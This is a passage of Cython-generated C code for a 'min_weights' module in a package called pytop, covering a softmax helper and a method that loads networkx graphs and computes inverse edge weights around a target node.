(__pyx_t_2) ? __Pyx_PyObject_Call2Args(__pyx_t_3, __pyx_t_2, __pyx_v_neighbor_weights) : __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_neighbor_weights); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_exp = __pyx_t_1; __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":74 * def softmax(self, neighbor_weights): * exp = np.exp(neighbor_weights) * return exp / exp.sum() # <<<<<<<<<<<<<< * * def save_weights(self, names): */ __Pyx_XDECREF(__pyx_r); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_exp, __pyx_n_s_sum); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } __pyx_t_1 = (__pyx_t_2) ? __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2) : __Pyx_PyObject_CallNoArg(__pyx_t_3); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyNumber_Divide(__pyx_v_exp, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_r = __pyx_t_3; __pyx_t_3 = 0; goto __pyx_L0; /* "pytop/cutils/min_weights.pyx":72 * # self.log_files[i] = create_logger(os.path.join(dir_name, "{}.log".format(i))) * * def softmax(self, neighbor_weights): # <<<<<<<<<<<<<< * exp = np.exp(neighbor_weights) * return exp / exp.sum() */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_AddTraceback("pytop.cutils.min_weights.Processor.softmax", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_exp); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "pytop/cutils/min_weights.pyx":76 * return exp / exp.sum() * * def save_weights(self, names): # <<<<<<<<<<<<<< * names = list(names) * # process_name_id = int(current_process().name.split("-")[-1]) */ /* Python wrapper */ static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_9Processor_5save_weights(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5pytop_6cutils_11min_weights_9Processor_5save_weights = {"save_weights", (PyCFunction)(void*)(PyCFunctionWithKeywords)__pyx_pw_5pytop_6cutils_11min_weights_9Processor_5save_weights, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_9Processor_5save_weights(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_names = 0; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("save_weights (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_names,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); CYTHON_FALLTHROUGH; case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); CYTHON_FALLTHROUGH; case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: if (likely((values[1] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_names)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("save_weights", 1, 2, 2, 1); __PYX_ERR(0, 76, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "save_weights") < 0)) __PYX_ERR(0, 76, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_names = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("save_weights", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 76, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("pytop.cutils.min_weights.Processor.save_weights", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5pytop_6cutils_11min_weights_9Processor_4save_weights(__pyx_self, __pyx_v_self, __pyx_v_names); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_9Processor_4save_weights(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_names) { PyObject *__pyx_v_name = NULL; PyObject *__pyx_v_g = NULL; PyObject *__pyx_v_target = NULL; PyObject *__pyx_v_min_edge_weights = NULL; PyObject *__pyx_v_p = NULL; PyObject *__pyx_v_neighbor_weights = NULL; PyObject *__pyx_v_neighbors = NULL; PyObject *__pyx_v_s = NULL; PyObject *__pyx_v_w = NULL; PyObject *__pyx_v_min_neighbor_w = NULL; PyObject *__pyx_v_max_neighbor_w = NULL; PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_delta_w = NULL; PyObject *__pyx_v_likelihoods = NULL; PyObject *__pyx_v_l = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; Py_ssize_t __pyx_t_2; PyObject *(*__pyx_t_3)(PyObject *); PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; int __pyx_t_11; PyObject *__pyx_t_12 = NULL; Py_ssize_t __pyx_t_13; PyObject *(*__pyx_t_14)(PyObject *); int __pyx_t_15; Py_ssize_t __pyx_t_16; int __pyx_t_17; PyObject *(*__pyx_t_18)(PyObject *); PyObject *(*__pyx_t_19)(PyObject *); int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("save_weights", 0); __Pyx_INCREF(__pyx_v_names); /* "pytop/cutils/min_weights.pyx":77 * * def save_weights(self, names): * names = list(names) # <<<<<<<<<<<<<< * # process_name_id = int(current_process().name.split("-")[-1]) * # logger = self.log_files[process_name_id] */ __pyx_t_1 = PySequence_List(__pyx_v_names); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF_SET(__pyx_v_names, __pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":80 * # process_name_id = int(current_process().name.split("-")[-1]) * # logger = self.log_files[process_name_id] * for name in names: # <<<<<<<<<<<<<< * # logger.info("Processing file {}".format(os.path.join(self.source_path, str(name) + ".gpickle"))) * g = nx.read_gpickle(os.path.join(self.source_path, str(name) + ".gpickle")) */ if (likely(PyList_CheckExact(__pyx_v_names)) || PyTuple_CheckExact(__pyx_v_names)) { __pyx_t_1 = __pyx_v_names; __Pyx_INCREF(__pyx_t_1); __pyx_t_2 = 0; __pyx_t_3 = NULL; } else { __pyx_t_2 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_v_names); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) } for (;;) { if (likely(!__pyx_t_3)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_2 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_4 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_2); __Pyx_INCREF(__pyx_t_4); __pyx_t_2++; if (unlikely(0 < 0)) __PYX_ERR(0, 80, __pyx_L1_error) #else __pyx_t_4 = PySequence_ITEM(__pyx_t_1, __pyx_t_2); __pyx_t_2++; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); #endif } else { if (__pyx_t_2 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_4 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_2); __Pyx_INCREF(__pyx_t_4); __pyx_t_2++; if (unlikely(0 < 0)) __PYX_ERR(0, 80, __pyx_L1_error) #else __pyx_t_4 = PySequence_ITEM(__pyx_t_1, __pyx_t_2); __pyx_t_2++; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); #endif } } else { __pyx_t_4 = __pyx_t_3(__pyx_t_1); if (unlikely(!__pyx_t_4)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 80, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_4); } __Pyx_XDECREF_SET(__pyx_v_name, __pyx_t_4); __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":82 * for name in names: * # logger.info("Processing file {}".format(os.path.join(self.source_path, str(name) + ".gpickle"))) * g = nx.read_gpickle(os.path.join(self.source_path, str(name) + ".gpickle")) # <<<<<<<<<<<<<< * target = g.graph["target"] * min_edge_weights = get_min_edge_weights(g, target) */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_nx); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_read_gpickle); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_os); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_path); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_join); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_source_path); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyString_Type)), __pyx_v_name); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = PyNumber_Add(__pyx_t_9, __pyx_kp_s_gpickle); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_9, __pyx_t_8, __pyx_t_10}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_9, __pyx_t_8, __pyx_t_10}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif { __pyx_t_12 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_12, 0+__pyx_t_11, __pyx_t_8); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_12, 1+__pyx_t_11, __pyx_t_10); __pyx_t_8 = 0; __pyx_t_10 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_12, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } __pyx_t_4 = (__pyx_t_7) ? __Pyx_PyObject_Call2Args(__pyx_t_6, __pyx_t_7, __pyx_t_5) : __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF_SET(__pyx_v_g, __pyx_t_4); __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":83 * # logger.info("Processing file {}".format(os.path.join(self.source_path, str(name) + ".gpickle"))) * g = nx.read_gpickle(os.path.join(self.source_path, str(name) + ".gpickle")) * target = g.graph["target"] # <<<<<<<<<<<<<< * min_edge_weights = get_min_edge_weights(g, target) * for p in g.nodes(): */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_g, __pyx_n_s_graph); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4, __pyx_n_s_target); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF_SET(__pyx_v_target, __pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":84 * g = nx.read_gpickle(os.path.join(self.source_path, str(name) + ".gpickle")) * target = g.graph["target"] * min_edge_weights = get_min_edge_weights(g, target) # <<<<<<<<<<<<<< * for p in g.nodes(): * neighbor_weights = [] */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_get_min_edge_weights); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_v_g, __pyx_v_target}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_v_g, __pyx_v_target}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_7 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_INCREF(__pyx_v_g); __Pyx_GIVEREF(__pyx_v_g); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_11, __pyx_v_g); __Pyx_INCREF(__pyx_v_target); __Pyx_GIVEREF(__pyx_v_target); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_11, __pyx_v_target); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF_SET(__pyx_v_min_edge_weights, __pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":85 * target = g.graph["target"] * min_edge_weights = get_min_edge_weights(g, target) * for p in g.nodes(): # <<<<<<<<<<<<<< * neighbor_weights = [] * neighbors = list(g.neighbors(p)) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_g, __pyx_n_s_nodes); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } __pyx_t_6 = (__pyx_t_7) ? __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7) : __Pyx_PyObject_CallNoArg(__pyx_t_4); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (likely(PyList_CheckExact(__pyx_t_6)) || PyTuple_CheckExact(__pyx_t_6)) { __pyx_t_4 = __pyx_t_6; __Pyx_INCREF(__pyx_t_4); __pyx_t_13 = 0; __pyx_t_14 = NULL; } else { __pyx_t_13 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_14 = Py_TYPE(__pyx_t_4)->tp_iternext; if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; for (;;) { if (likely(!__pyx_t_14)) { if (likely(PyList_CheckExact(__pyx_t_4))) { if (__pyx_t_13 >= PyList_GET_SIZE(__pyx_t_4)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_6 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_13); __Pyx_INCREF(__pyx_t_6); __pyx_t_13++; if (unlikely(0 < 0)) __PYX_ERR(0, 85, __pyx_L1_error) #else __pyx_t_6 = PySequence_ITEM(__pyx_t_4, __pyx_t_13); __pyx_t_13++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); #endif } else { if (__pyx_t_13 >= PyTuple_GET_SIZE(__pyx_t_4)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_6 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_13); __Pyx_INCREF(__pyx_t_6); __pyx_t_13++; if (unlikely(0 < 0)) __PYX_ERR(0, 85, __pyx_L1_error) #else __pyx_t_6 = PySequence_ITEM(__pyx_t_4, __pyx_t_13); __pyx_t_13++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); #endif } } else { __pyx_t_6 = __pyx_t_14(__pyx_t_4); if (unlikely(!__pyx_t_6)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 85, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_6); } __Pyx_XDECREF_SET(__pyx_v_p, __pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":86 * min_edge_weights = get_min_edge_weights(g, target) * for p in g.nodes(): * neighbor_weights = [] # <<<<<<<<<<<<<< * neighbors = list(g.neighbors(p)) * if p != target: */ __pyx_t_6 = PyList_New(0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_XDECREF_SET(__pyx_v_neighbor_weights, ((PyObject*)__pyx_t_6)); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":87 * for p in g.nodes(): * neighbor_weights = [] * neighbors = list(g.neighbors(p)) # <<<<<<<<<<<<<< * if p != target: * for s in neighbors: */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_g, __pyx_n_s_neighbors); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } __pyx_t_6 = (__pyx_t_5) ? __Pyx_PyObject_Call2Args(__pyx_t_7, __pyx_t_5, __pyx_v_p) : __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_p); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PySequence_List(__pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF_SET(__pyx_v_neighbors, ((PyObject*)__pyx_t_7)); __pyx_t_7 = 0; /* "pytop/cutils/min_weights.pyx":88 * neighbor_weights = [] * neighbors = list(g.neighbors(p)) * if p != target: # <<<<<<<<<<<<<< * for s in neighbors: * w = min_edge_weights[("{},{}".format(p, s)).encode()] */ __pyx_t_7 = PyObject_RichCompare(__pyx_v_p, __pyx_v_target, Py_NE); __Pyx_XGOTREF(__pyx_t_7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 88, __pyx_L1_error) __pyx_t_15 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_15 < 0)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__pyx_t_15) { /* "pytop/cutils/min_weights.pyx":89 * neighbors = list(g.neighbors(p)) * if p != target: * for s in neighbors: # <<<<<<<<<<<<<< * w = min_edge_weights[("{},{}".format(p, s)).encode()] * g[p][s]["raw_w"] = w */ __pyx_t_7 = __pyx_v_neighbors; __Pyx_INCREF(__pyx_t_7); __pyx_t_16 = 0; for (;;) { if (__pyx_t_16 >= PyList_GET_SIZE(__pyx_t_7)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_6 = PyList_GET_ITEM(__pyx_t_7, __pyx_t_16); __Pyx_INCREF(__pyx_t_6); __pyx_t_16++; if (unlikely(0 < 0)) __PYX_ERR(0, 89, __pyx_L1_error) #else __pyx_t_6 = PySequence_ITEM(__pyx_t_7, __pyx_t_16); __pyx_t_16++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); #endif __Pyx_XDECREF_SET(__pyx_v_s, __pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":90 * if p != target: * for s in neighbors: * w = min_edge_weights[("{},{}".format(p, s)).encode()] # <<<<<<<<<<<<<< * g[p][s]["raw_w"] = w * neighbor_weights.append(1 / w) */ __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_kp_s__2, __pyx_n_s_format); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_10 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_12))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_12); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_12, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_v_p, __pyx_v_s}; __pyx_t_5 = 